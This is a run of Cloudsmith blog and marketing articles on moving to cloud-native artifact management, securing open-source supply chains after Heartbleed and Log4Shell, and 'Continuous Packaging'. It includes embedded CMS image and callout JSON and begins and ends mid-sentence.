of your software supply chain. ### 4. Performance and speed that empower developers A truly cloud-native artifact repository ensures artifacts are forwarded to the closest edge location, which significantly decreases both the time spent building and deploying, which has a direct impact on increasing developer productivity and CI/CD throughput. Engineers can focus on building features rather than waiting on downloads or troubleshooting failed builds, making software delivery faster, more reliable, and predictable. ### 5. Seamless integration with the modern DevOps toolchain Legacy repositories often require plugins or manual scripting to integrate with CI/CD tools. Cloud-native artifact management platforms offer native integrations with [GitHub Actions](https://cloudsmith.com/product/integrations/github-actions), [GitLab CI](https://cloudsmith.com/product/integrations/gitlab-cicd), [Jenkins](https://cloudsmith.com/product/integrations/jenkins), [CircleCI](https://cloudsmith.com/product/integrations/circle-ci), and more - all via robust APIs. This ensures that artifacts flow seamlessly through your CI/CD pipelines, maintaining consistency, traceability, and reliability from development all the way to production. ### 6. Single visibility and governance between teams In large organizations, artifacts are often scattered across multiple repositories and sometimes duplicated, making governance and visibility a constant challenge. A cloud-native artifact management system provides a centralized, single platform for managing visibility, audit, and access. Administrators can also manage published, promoted, or consumed artifacts - to ensure compliance and reduce the risk of unauthorized access or obsolete dependencies. ### 7. Predictable, transparent costs In contrast to self-managed solutions that have unpredictable infrastructure charges, cloud-native artifact management follows a usage-based pricing scheme, which is predictable. You pay for what you use. You do not expect to incur costs for hardware, maintenance, or downtime. This will ultimately lead to a reduced total cost of ownership (TCO) and a better understanding of the ROI of engineering time. Moving legacy artifact management to a new, modern, cloud-native repository is not just a technical choice but a strategic one that enhances both the security, performance, and user experience of developing a product or service, as well as reduces costs in the long run. Migrating from legacy artifact management to a modern, cloud-native repository improves security, performance, and the overall developer experience while helping reduce long-term operational costs. By centralizing control, simplifying scalability, and strengthening the software supply chain, teams can focus on building software more efficiently and securely. ## How to upgrade from escape legacy artifact management (step-by-step) The idea of moving away from on-premise or legacy artifact systems to a modern, cloud-native solution can be overwhelming, but with the correct plan, it is achievable. 1. **Audit your existing repositories – **Review what you store (packages, containers, Helm charts, etc.) and where. 2. **Analyze utilization and access patterns -** Learn which teams, pipelines, and tools rely on which repositories. 3. **Select a modern artifact management platform – **Seek capabilities such as universal format support, security scanning, policy management, global availability, and automation through integrations. 4. **Plan your migration strategy – **Migrate critical projects first, automate uploads, and validate integrations. 5. **Decommission legacy infrastructure – **Once migration and validation are complete, phase out outdated systems to eliminate ongoing maintenance, reduce operational overhead, and free up resources for modern, cloud-native artifact management. 🔥**Top tip: **Cloudsmith’s [Migration](https://cloudsmith.com/campaigns/cloudsmith-migration-guide) Toolkit, combined with expert support, makes the transition seamless - preserving your history and metadata while enabling improved security and scalable infrastructure. ## The real ROI of leaving legacy, on-premise artifact management behind Teams that modernize and migrate to cloud-native artifact management see measurable returns: - Reduce infrastructure expenses by up to 60%. - Faster build and deployment times across CI/CD pipelines. - Improved developer satisfaction through simplified workflows. - Better compliance posture with automated vulnerability management. Time spent maintaining a legacy repository directly impacts productivity and costs. Migrating to a modern, cloud-native artifact repository preserves operational efficiency and supports long-term software delivery improvements. ## How Cloudsmith makes modern artifact management effortless All of these challenges, including scalability, security, automation, and visibility, can be solved with a truly cloud-native approach to artifact management. And if you are planning a migration to the cloud, it is worth doing it right rather than sticking with your existing provider simply because it feels easier. A migration is already a major change, and it is the perfect opportunity to elevate your entire artifact management program. Cloudsmith was built from the ground up as a fully cloud-native platform that helps teams break free from the limits of traditional repositories, delivering seamless automation, built-in security, and scalable reliability in a single unified system. Here’s how Cloudsmith enables that transition seamlessly: - **Fully managed, always available:** Cloudsmith is truly cloud-native which means hosting, scaling, and security are built in. Teams can focus on development without worrying about infrastructure maintenance and downtime. - **Universal support for all formats:** Whether you manage containers, packages, Helm charts, or custom binaries - with multi-format repositories, Cloudsmith provides one centralized platform for all your artifacts. - **Unified security and compliance:** Each artifact is scanned, signed, and tracked. Cloudsmith also has vulnerability scanning, dependency metadata, and SBOM generation built-in to ensure end-to-end security for your software supply chain. - **Global performance and distribution:** Artifacts are served over Cloudsmith’s global edge network and minimizing latency and providing fast and reliable builds across the globe. - **Seamless CI/CD integration:** Cloudsmith integrates seamlessly with the latest DevOps platforms: GitHub Actions, GitLab CI, and Jenkins - enabling teams to automate artifact workflows, reduce manual errors, and accelerate software delivery. A modern, cloud-native artifact repository like Cloudsmith simplifies operations, strengthens security, and accelerates software delivery - without the hidden costs or complexity of legacy systems. ## Summary: don’t let legacy on-premise artifact management hold you back Legacy artifact management is not only dated - it’s also costly, risky, and non-sustainable. The emerging generation of cloud-native artifact management platforms, such as Cloudsmith, transcends complexity with confidence, enabling teams to achieve the visibility and velocity required to build securely at scale. The faster you retire legacy systems, the sooner your organization can build securely, on a truly modern, cloud-native platform. ## Frequently asked questions (FAQs) #### 1. What is legacy artifact management, and why is it a problem? The management of legacy artifacts encompasses older systems (typically [on-premise artifact management](https://cloudsmith.com/blog/cloud-native-vs-on-premise-artifact-management-a-complete-overview)) used to store and distribute software packages. Such systems do not offer the automation, scalability, and integrated security that are needed in modern DevOps, resulting in inefficiencies and increased operational costs. #### 2. What are the unknown expenses of legacy artifact repositories? Beyond licensing, teams also bear the costs of infrastructure maintenance, downtime, manual updates, and security risks. These hidden expenses can quickly add up, often exceeding the investment required for a modern, cloud-native alternative. #### 3. How do I migrate to a modern artifact repository? Begin by auditing your existing repositories, determining dependencies, and automating the migration with the help of migration tools (such as Cloudsmith’s Migration Tool). The advantage is to retain the integrity of artifacts with the purpose of avoiding manual management. #### 4. Why choose a cloud-native artifact repository over self-hosted options? Uptime, scaling, and security are automatically managed on cloud-native platforms. They are CI/CD integrated, can distribute faster worldwide, and can eliminate maintenance overhead, allowing your developers to focus on their core tasks #### 5. How does modern artifact management improve security and compliance? Modern artifact systems integrate vulnerability scanning, SBOMs generation, and access control. This will ensure artifacts are secure, traceable, and compliant – which is essential to securing your software supply chain. Who would have thought software could rattle the White House? But a vulnerability in Log4J, a popular open source software project, exposed critical digital infrastructure to remote code execution attacks. This prompted the US Government to engage big tech, infosec professionals, and open source organizations to come together to help secure open source software. Threats in commonly used open source software (OSS) is the stuff of nightmares. Ransomware attackers have started [mass scanning](https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/) campaigns for vulnerable versions of the Log4j packages. [Research](https://isc.sans.edu/diary/26798) from 2020 exposed that a vulnerability called Heartbleed is still exploitable even though a patch was released promptly in 2014. Vulnerabilities have a very long tail - Log4Shell is likely to be a threat for years. OSS is incredibly positive - without projects like Docker, Kubernetes, Debian, NGINX, Apache, or others, technological innovation would be painfully slow. Its innovation, ease of use, and zero cost meant that nearly every piece of software contains OSS. OSS is everywhere, including data centers, e-commerce, phone networks, mobile devices, and power stations. OSS is here to stay, and securing open-source supply chains will require a combination of developer-focused tooling, an increase in automation, education, collaboration, and support for OSS maintainers. In this article, we’ll explore: - Critical threats in OSS - The US Government’s response to Log4Shell - Efforts underway to secure and build trust in OSS - How you can secure your software pipeline - Why package management is essential to secure your supply chain ## **Critical Threats in OSS** Severe vulnerabilities in commonly used OSS that are easy to exploit have wide-reaching effects. The Cybersecurity and Infrastructure Security Agency Director, Jen Easterly, called Log4Shell “the most serious vulnerability I have seen in my decades-long career.” Severe vulnerabilities like Log4Shell are not new. Heartbleed was a vulnerability from 2014 that we still feel the ripples of today. ### **Heartbleed** OpenSSL is an OSS project used by virtually every company in the world. On 7 April 2014, OpenSSL's Heartbleed bug was publicly disclosed as [CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160) and fixed. The vulnerability, which had been shipped in OpenSSL, made it possible for hackers to retrieve information such as credit card numbers, cryptography keys, and user credentials right through to private documents and communications from what was meant to be secure transactions. [Research by SANS](https://isc.sans.edu/diary/26798) from 2020 exposed that this vulnerability is still exploitable even though a patch was released promptly in 2014. In the wake of the Heartbleed vulnerability, [the Core Infrastructure Initiative (CII)](https://www.coreinfrastructure.org/) was set up to improve OSS security. The CII has since been replaced by the [Open Source Security Foundation (OpenSSF)](https://openssf.org/). ### **Log4Shell** The Log4j library, part of the [Apache Software Foundation (ASF)](https://en.wikipedia.org/wiki/The_Apache_Software_Foundation), is a general and commonly utilized logging framework used by Java developers worldwide. Log4Shell landed December 2021- a critical vulnerability in Log4j, published as [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228), that could lead to Remote Code Execution- a 10 out of 10 on the risk factor. Cloudsmith already released a blog on [responding to Log4j](/blog/all-about-log4shell-mitigation-cve-2021-44228) and released additional functionality to [search for dependencies](https://help.cloudsmith.io/docs/search-packages) such as log4j across packages stored within Cloudsmith repositories. Ransomware attackers have started [mass scanning](https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/) campaigns for versions of the Log4j packages vulnerable to Log4Shell. The Log4j vulnerability is likely to be a threat for years. Developers and organizations can run scripts and scanning tools to assess their exposure to Log4Shell and upgrade to mitigate against this vulnerability. It's another reminder of how critical software supply chain security is and how great the exposure can be when a critical exploit emerges in the wild. ## **US Government’s response to Log4Shell** Last year, the Whitehouse issued an [Executive Order](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) after the fallout of [SolarWinds](/blog/solarwinds-and-the-secure-software-supply-chain). This kickstarted the use of SBOMs, a flurry of new projects to protect the supply chain, and the rise of OpenSSF. New companies like [Chainguard](https://chainguard.dev/about) were created, focusing on securing software supply chains. Early this year, in the wake of the vulnerability exposed in Log4j, [The White House convened](https://www.whitehouse.gov/briefing-room/statements-releases/2022/01/13/readout-of-white-house-meeting-on-software-security/) government and private sector stakeholders to discuss how to improve the security of OSS as it is “a national security concern.” The guest list included representatives from big tech companies and open source organizations - Akamai, Amazon, Apache Software Foundation, Apple, Cloudflare, Meta, GitHub, Google, IBM, Linux Open Source Foundation, Microsoft, Oracle, RedHat, and VMWare. A few weeks later, the [US Senate Homeland Security Committee](https://www.hsgac.senate.gov/hearings/responding-to-and-learning-from-the-log4shell-vulnerability) discussed the Log4j vulnerability and how to prevent open source vulnerabilities in the future. Dr. Trey Herr’s, Director of Cyber Statecraft, testimony about the importance of establishing a model where maintainers are supported to ‘fund the mundane’ was echoed throughout the Senate hearing. These meetings seemed to have an effect: - [NPM now requires](https://github.blog/2022-02-01-top-100-npm-package-maintainers-require-2fa-additional-security/) the top 100 maintainers to set up two-factor authentication - OpenSSF, with support from Microsoft and Google, announced [The Alpha Omega Project](https://openssf.org/press-release/2022/02/01/openssf-announces-the-alpha-omega-project-to-improve-software-supply-chain-security-for-10000-oss-projects/) to improve software supply chain security for OSS projects with an initial investment of $5 million. In January, the[ Senate passed two cyber bills](https://www.scmagazine.com/analysis/legislation/senate-passes-cyber-bills-to-address-supply-chain-security-aid-state-and-local-governments) - one bill to train federal officials on managing risk in the software supply chain, and another bill to help officials coordinate with other agencies on matters relating to vulnerability disclosure programs, information sharing programs, and improvements to election security infrastructure. The US Government has effectively used its soft power and is willing to use legislation to help secure OSS. ## **Efforts to Secure OSS** There has been a massive effort by OSS foundations and the wider OSS community to help maintainers and consumers of OSS build secure software. Leading many of these initiatives is [Open Source Security Foundation (OpenSSF)](https://openssf.org/) hosted by the Linux Foundation. The OpenSSF is a cross-industry organization that brings together the industry’s most important open source security initiatives and the individuals and companies that support them. Other foundations that have contributed to improving OSS security include [OWASP](https://owasp.org/), npm, Python Foundation, [CNCF](https://www.cncf.io/), government agencies like [NTIA](https://www.ntia.doc.gov/), and others. The collaborative effort and the progress made in the last year have been encouraging. Securing the software supply chain is an area that is still in flux, and the projects that will be used in builds are yet to be decided - the proof of the pudding is in the eating! ### **Increase trust in builds and artifacts** The whole point of signing a package is to [trust](https://www.cs.cmu.edu/~rdriley/487/papers/Thompson_1984_ReflectionsonTrustingTrust.pdf) that a package is safe to download or use as a dependency. When OSS maintainers sign their packages, it allows people downloading them to know they are official and haven’t been tampered with. Until recently, this process has been costly and required maintainers to manage keys and code-signing certs. [Sigstore](https://www.sigstore.dev/) is a set of tools that developers, software maintainers, package managers, and security experts can use for signing, verifying, and protecting OSS. Its goal is to remove the effort, time, and risk of error that comes with more traditional ways of signing. Other tools, frameworks, and formats that increase trust in builds and artifacts include: - [In-toto](https://in-toto.io/), a framework to secure the integrity of software supply chains - [Gitbom](https://gitbom.dev/) is a tool for building artifact trees that can be used with SBOM formats such as SPDX - [Witness](https://github.com/testifysec/witness), a tool to prevent tampering of build materials and verifies the integrity of the build process - [The Update Framework](https://github.com/theupdateframework), a framework for securing software update systems - [A purl or package URL](https://github.com/package-url/purl-spec) is an attempt to standardize existing approaches to reliably identify and locate software artifacts. ### **Provide visibility into the "ingredients" of software through SBOMs** The Software Bill of Materials (SBOM) lists all components, including licenses and dependencies contained in a software product and other data, including checksums. Work has been ongoing into specifying the formats of SBOMs, with [SPDX](https://spdx.dev/) and [CycloneDX](https://cyclonedx.org/), and tools to generate and inspect SBOMs. There are several benefits to SBOMs: - An SBOM in a known format like SPDX or CycloneDX helps drive automation and trigger security alerts. - An SBOM can be inspected to see if there are any CVEs detected in its dependencies. - The end-user of software can use the SBOM to perform vulnerability and license analysis of their software packages to evaluate risk in a software product. - SBOM helps track dependencies more easily and quickly so that vulnerabilities are easier to find and fix. ### **Harden security in OSS projects:** - OpenSSF announced [The Alpha Omega Project](https://openssf.org/press-release/2022/02/01/openssf-announces-the-alpha-omega-project-to-improve-software-supply-chain-security-for-10000-oss-projects/) in February “to improve software supply chain security for OSS projects through direct engagement of software security experts and automated security testing.” Microsoft and Google have supported this project with an initial investment of $5 million. - NPM has Enforced 2FA for the top 100 OSS maintainers. - The Python Software Foundation has been [working on initiatives](https://www.activestate.com/blog/pypi-security-pitfalls-and-steps-towards-a-secure-python-ecosystem/) in PyPI to improve the software supply chain security ecosystem, like setting up 2FA, creating a security advisory, and integrating with The Update Framework. - Work on tracking open source vulnerabilities by GitHub Security Advisories and OSV which is a vulnerability database for open source projects. - OpenSSF, NTIA, OWASP, CNCF and others have created materials and set up [working groups](https://github.com/ossf/wg-best-practices-os-developers) on best practices. Some other OpenSSF projects include: - Setting up working groups to identify [critical OSS projects](https://github.com/ossf/wg-securing-critical-projects) to make sure they are supported to maintain updates to a certain baseline level. - The Scorecards project gives consumers of open-source projects an easy way to judge whether their dependencies are safe. - Another OpenSSF project, [Supply chain Levels for Software Artifacts (SLSA)](https://slsa.dev/), is a security framework backed by Google to prevent tampering, improve the integrity, and secure packages and infrastructure in your projects, businesses, or enterprises. ## **How to secure your software pipeline** It's hard even to know what OSS is packaged up in your software, especially when considering transitive dependencies. Developers and Security Engineers need developer-friendly tools to help them increase automation to remove the potential for human error, assess their level of risk by providing visibility into what OSS they depend on, and tools to help them control, mitigate and remediate any risk they do have in their supply chain. Developers and Organizations can do several things to protect their supply chain: - ​Enforcing developers to have multi-factor authentication and strong passwords is an easy win to secure your supply chain. Using tools that accept SAML or passwordless can improve security. - Maintaining an accurate inventory of third-party software components and open source dependencies, a software bill of materials (SBOM), ideally in a known format like SPDX or Cyclone DX. - Developers should pin their builds to specific versions to protect against attacks on the supply chain such as [Dependency Confusion ](/blog/dependency-confusion-attacks)and Typosqatting attacks. - Use scanning tools at source, during the build, and at packaging to detect vulnerabilities. - If you use OSS, bring those packages into your [private repository](https://cloudsmith.com/product/), where you can test/scan against them. Cloudsmith advocates for only exposing development repositories to external public feeds. You can then promote to a production repository with no public feeds after adequately testing and scanning your packages for vulnerabilities. - Integrate with new tools to sign OSS packages in a meaningful way like Sigstore - Bring packages into your private repositories to ensure your OSS packages' high availability and protect against outages on public repositories. Ultimately, ​developers and their organizations should have a single source of truth for software assets so there is one place to: - View, search, and audit package metadata - Manage and audit access - Streamline automation for your development teams ## **Package management is central to securing your supply chain** Cloudsmith is a hosted package management service. We securely store your packages in a [private artifact repository](https://cloudsmith.com/product/secure/) and to make it easy to automate and integrate your artifact registry with your existing CI/CD pipeline. Having a single source of truth for your software artifacts is central to securing software supply chains. Cloudsmith’s private [multi-format repositories](/blog/multi-format-repositories) support many package formats and provide one place to track, manage, distribute and understand all software pulled into your stack. A central trusted store forces you to apply processes and controls to that ingress/egress of software packages. Security is paramount at Cloudsmith as we understand package repositories need robust security features and policies to prove they are trustworthy. That's why: - Cloudsmith is certified under ISO 272001 - Cloudsmith operates a [vulnerability disclosure and Bug Bounty program](https://help.cloudsmith.io/docs/security#vulnerability-disclosure-and-bug-bounty-program) - Cloudsmith’s platform has high availability and redundancy. We host Cloudsmith across multiple data centers and multiple regions, with redundancy built-in at each layer of the service and platform. - Cloudsmith provides robust access control with 2FA for distribution and development. - Cloudsmith offers support for Single Sign-On (SSO) at the organization level using Security Assertion Markup Language (SAML) - Cloudsmith provides logs, and Metrics API for observability into what is happening with your packages. Cloudsmith establishes [trust and provenance](/blog/continuous-packaging) in your software supply chain, including your OSS 3rd party dependencies, by surfacing your package metadata informing you about the package checksums, how and who built your packages, and what dependencies are in your packages. Cloudsmith also isolates and protects your software supply chain from [public upstream](https://help.cloudsmith.io/docs/proxying) sources like Maven Central by proxying or caching your OSS artifacts. Expanding the ways we help you secure your supply chain Cloudsmith already helps developers and organizations isolate their software from public OSS feeds, extracts meaningful information from your packages about its dependencies, and allows you to control and visualize all that information in a central location. Throughout 2022, Cloudsmith will focus on becoming the best solution for organizations looking to secure their software supply chain by focusing on three areas: - Assessing an organization’s level of risk and providing actionable data to an organization to better secure their supply chain - Providing tools that allow security teams to manage risk without slowing down their developers. We will enable security teams to block threats from entering their supply chain, and respond quickly when incidents within the industry do occur by having that single pane of glass to understand the impact. - Integrations with the ecosystem of tools and standards to improve OSS security include sigstore, SLSA, package URL, The Update Framework, in-toto, OSSF Security Scorecards, and more. At Cloudsmith, we love OSS and have enormous respect for maintainers. Cloudsmith also provides zero-cost [repositories for OSS projects](https://cloudsmith.com/community/). We see ourselves as an essential stakeholder in securing the software supply chain. We are pushing to integrate with emerging tools that make it easy for our developers to know what is in their supply chain, and that makes it easier for developers to be secure by default. 2022 will be a defining year for progress in the security of your 3rd party OSS dependencies. If you're looking for a simple solution to secure your software artifacts, you can sign up for a [free 14-day trial](https://cloudsmith.com/signup/) and set up your first repository in just 60 seconds. Continuous Packaging (CP) is a term that we have coined here at Cloudsmith, and it is one that we think will become a cornerstone in a secure software development process. ```json { "_key": "9982747283b4", "_type": "image", "alt": "The Rise of Continuous Packaging by Dan McKinney and Ciara Carey", "asset": { "_createdAt": "2025-06-05T08:00:45Z", "_id": "image-7fdd26ef48404c99a1d749c1dc5caaa95ccfec55-286x400-png", "_rev": "2MVa2LY6RC9Yy6hPJdiAdi", "_type": "sanity.imageAsset", "_updatedAt": "2025-06-05T08:00:45Z", "assetId": "7fdd26ef48404c99a1d749c1dc5caaa95ccfec55", "extension": "png", "metadata": { "_type": "sanity.imageMetadata", "blurHash": "dABpUx4:xsIW.AI9xvNFR59F?bM{D$D%-;NH-=RPWYxt", "dimensions": { "_type": "sanity.imageDimensions", "aspectRatio": 0.715, "height": 400, "width": 286 }, "hasAlpha": true, "isOpaque": true, "lqip": "data:image/png;base64,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", "palette": { "_type": "sanity.imagePalette", "darkMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#4c3c54", "foreground": "#fff", "population": 0, "title": "#fff" }, "darkVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#7a430d", "foreground": "#fff", "population": 0.62, "title": "#fff" }, "dominant": { "_type": "sanity.imagePaletteSwatch", "background": "#7a430d", "foreground": "#fff", "population": 0.62, "title": "#fff" }, "lightMuted": { "_type": "sanity.imagePaletteSwatch", "background": "#c5b6b9", "foreground": "#000", "population": 0.49, "title": "#fff" }, "lightVibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#d89084", "foreground": "#000", "population": 0.01, "title": "#fff" }, "muted": { "_type": "sanity.imagePaletteSwatch", "background": "#64a8b4", "foreground": "#fff", "population": 0, "title": "#fff" }, "vibrant": { "_type": "sanity.imagePaletteSwatch", "background": "#e7d81a", "foreground": "#000", "population": 0.33, "title": "#fff" } } }, "mimeType": "image/png", "originalFilename": "Screenshot-2022-05-20-at-16.20.19.png", "path": "images/rafvlnhi/production/7fdd26ef48404c99a1d749c1dc5caaa95ccfec55-286x400.png", "sha1hash": "7fdd26ef48404c99a1d749c1dc5caaa95ccfec55", "size": 122469, "uploadId": "T8uw5jOrmuvtvLyWIOvQXUsN5pyfYvWJ", "url": "https://cdn.sanity.io/images/rafvlnhi/production/7fdd26ef48404c99a1d749c1dc5caaa95ccfec55-286x400.png" }, "caption": null, "link": null, "markDefs": null } ``` Cloudsmith's Ciara Carey and Dan McKinney have partnered with O'Reilly to introduce the world to Continuous Packaging (CP), and how teams can implement CP into their software supply chains. - Explore the current state of software supply chains. - How developers can identify risks in their own supply chain. - Why CP is critical to secure CI/CD pipelines. Download the report: [**The Rise of Continuous Packaging**](https://cloudsmith.com/developers/resources/the-rise-of-continuous-packaging/) Otherwise, continue reading below to discover the fundamentals of Continuous Packaging! ## **What is Continuous Packaging?** When you think of modern software development workflows, you typically think of DevOps – and that involves continuous integration (CI) processes and continuous deployment or continuous delivery processes (CD). These processes evolved to accelerate and improve the task of developing and delivering software at scale. They provide increased velocity, reliability and security through automation, controls and closing the gap between development and operations. Software isn’t “thrown over the fence” anymore when it goes into production. The process is end-to-end, from development right through to deployment or delivery. As an industry, the adoption of modern DevOps processes like this has brought with it great rewards. Companies can grow faster, ship quicker, delivery of updates can be streamlined, and any issues, bugs or problems can be addressed with less delay. ## **Sounds great! Job done. Or is it?** Not quite! Let’s roll back a bit to the beginning. Typically, you start with your source codebase. Your CI processes take this and build it into a set of artifacts, images or packages that your CD processes can then deploy to infrastructure or deliver to your customers. So, there is something that CI and CD have in common, and that is software artifacts, images, or packages. These are the output of CI processes and the input for CD processes. And this is where continuous packaging comes in. We see CP as a glue layer that sits between and overlaps CI and CD. To build secure software development pipelines using a DevOps methodology, you need the ability to universally store and deliver packages securely and efficiently across all package formats and languages. It’s unlikely that you would use multiple source control tools or multiple CI or CD tools. You settle on the best-in-class tool for the task, and package management needs to be the same. CP should be a checkpoint - a layer that all packages, images, and artifacts used in and produced from your build processes and your deployments need to pass through. That layer is what empowers you and provides you with the control and visibility that you need. And that is what it comes down to - At its core: ```json { "_key": "zt5DMdsU", "_type": "callout", "content": [ { "_key": "c74380cef6bd", "_type": "block", "children": [ { "_key": "39667dd60ae3", "_type": "span", "marks": [], "text": "Continuous Packaging gives your teams security, control, visibility and management over incoming and built assets." } ], "markDefs": [], "style": "normal" } ], "markDefs": null, "variant": "info" } ``` There is an ever-increasing focus on software supply chain security, and rightly so. Recent events have shown that attacks on the software supply chain are fast becoming the number one method that threat actors are employing to breach organizations and users’ security. And why is this? Well, it’s because it’s a highly effective way to get malicious software distributed to many targets. These targets are increasingly aware of traditional attacks and have been educated to defend against them. What better way to gain entry to a target than through a legitimate update mechanism from a vendor or through a compromised software package that gets used in a build? Software supply chain attacks manipulate the trust that users and companies place in vendors and the trust that developers place in code that they import or use from public registries and repositories. ## **Benefits of Continuous Packaging** So how exactly does CP provide you with that security, control, visibility and management? Well, to break things down a bit further, some of the key benefits of CP are: - Isolation – which gives you control and visibility - Provenance – Which provides you with security via a chain of trust - Acceleration – Which gives you low latency performance for your teams Let’s look at each of these in turn. ### **Provenance** Provenance is the ability to verifiably prove, using things like package checksums and cryptographic signatures, that software assets are what they say they are and are from who they say they are. Continuous packaging is about providing a verifiable “Single Source of Truth” for all packages, images, or artifacts consumed or produced during your CI processes. It helps you protect your users and customers by building and shipping clean software only. Up until now, at Deploy time, there are additional steps when pulling in other dependencies – there is a hole in the provenance chain, a gap to be filled, and having that single source of truth closes that gap. ### **Isolation** It’s generally accepted that a lot of the software you run is built by someone else; it’s open-source or built on open source. It’s a widespread practice in software development to use and depend on public packages - packages from a public repository and by connecting directly to a public repository, you open the door to possible attacks. This has already been demonstrated as an attack vector through Dependency Confusion attacks and the Codecov breach. Continuous Packaging gives you a protective layer between your teams and public repositories; it defines isolation as the ability to cache packages away from public upstreams. Just some of the benefits this provides are: - You control package availability. In the event an upstream becomes unavailable, you can continue to build and deploy. - Protection from Vulnerabilities. If a vulnerability appears in a new version of a package, you have previous versions you may be able to roll back. - License Management. If a Licence changes, you have the current version, same licence, no immediate impact, gives you time to prepare. Now, these upstream packages are held in your environment, which brings them under your control. They can form the backbone of your software bill of materials. It provides security teams with an overall view of how packages get used, where they come from and where they are deployed. ### **Acceleration** We now live in a remote-first, distributed world. Development teams are more distributed than ever before. And not just teams, individual team members are now distributed. Development, Operations, Security – these are all now work-from-home jobs, if not all of the time, then a lot of the time. So now, more than ever, we need tools that promote strong collaboration and provide a uniform experience - no matter where in the world you are located. Package Management is a very chatty interface from client tooling running on local machines or build hosts, to package repositories on servers located elsewhere. There is a real need to reduce and minimise the communication times between where you, or your distributed infrastructure, are located and where the artifacts reside. So, the task is to implement package management globally, providing every team and team member with an optimal, normalized experience. And you need this while also providing universal support for all the artifact types and formats you use. No small task! At Cloudsmith, we developed what we call the Package Delivery Network, or PDN. It’s like a highly customised version of a CDN because it’s more intelligent and more context-aware. It knows that it deals with packages, software artifacts, and client package management tooling and is built specifically for software distribution, not general content distribution, at the edge. A PDN means that whatever your team’s location, they all get the same low latency experience. There is no optimal site or 